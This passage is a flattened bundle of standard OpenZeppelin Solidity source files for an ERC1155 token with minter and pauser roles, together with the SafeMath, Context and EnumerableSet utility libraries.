pragma solidity ^0.8.0;
import "./IAccessControlEnumerable.sol";
import "./AccessControl.sol";
import "../utils/structs/EnumerableSet.sol";
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view virtual override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view virtual override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {_grantRole} to track enumerable memberships
*/
function _grantRole(bytes32 role, address account) internal virtual override {
super._grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {_revokeRole} to track enumerable memberships
*/
function _revokeRole(bytes32 role, address account) internal virtual override {
super._revokeRole(role, account);
_roleMembers[role].remove(account);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/presets/ERC1155PresetMinterPauser.sol)
pragma solidity ^0.8.0;
import "../ERC1155.sol";
import "../extensions/ERC1155Burnable.sol";
import "../extensions/ERC1155Pausable.sol";
import "../../../access/AccessControlEnumerable.sol";
import "../../../utils/Context.sol";
/**
* @dev {ERC1155} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*
* _Deprecated in favor of https://wizard.openzeppelin.com/[Contracts Wizard]._
*/
contract ERC1155PresetMinterPauser is Context, AccessControlEnumerable, ERC1155Burnable, ERC1155Pausable {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE`, and `PAUSER_ROLE` to the account that
* deploys the contract.
*/
constructor(string memory uri) ERC1155(uri) {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
}
/**
* @dev Creates `amount` new tokens for `to`, of token type `id`.
*
* See {ERC1155-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have minter role to mint");
_mint(to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] variant of {mint}.
*/
function mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have minter role to mint");
_mintBatch(to, ids, amounts, data);
}
/**
* @dev Pauses all token transfers.
*
* See {ERC1155Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC1155Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have pauser role to unpause");
_unpause();
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(AccessControlEnumerable, ERC1155)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override(ERC1155, ERC1155Pausable) {
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Pausable.sol)
pragma solidity ^0.8.0;
import "../ERC1155.sol";
import "../../../security/Pausable.sol";
/**
* @dev ERC1155 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*
* _Available since v3.1._
*/
abstract contract ERC1155Pausable is ERC1155, Pausable {
/**
* @dev See {ERC1155-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override {
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
require(!paused(), "ERC1155Pausable: token transfer while paused");
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Burnable.sol)
pragma solidity ^0.8.0;
import "../ERC1155.sol";
/**
* @dev Extension of {ERC1155} that allows token holders to destroy both their
* own tokens and those that they have been approved to use.
*
* _Available since v3.1._
*/
abstract contract ERC1155Burnable is ERC1155 {
function burn(
address account,
uint256 id,
uint256 value
) public virtual {
require(
account == _msgSender() || isApprovedForAll(account, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_burn(account, id, value);
}
function burnBatch(
address account,
uint256[] memory ids,
uint256[] memory values
) public virtual {
require(
account == _msgSender() || isApprovedForAll(account, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_burnBatch(account, ids, values);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.0;
import "./IERC1155.sol";
import "./IERC1155Receiver.sol";
import "./extensions/IERC1155MetadataURI.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor(string memory uri_) {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
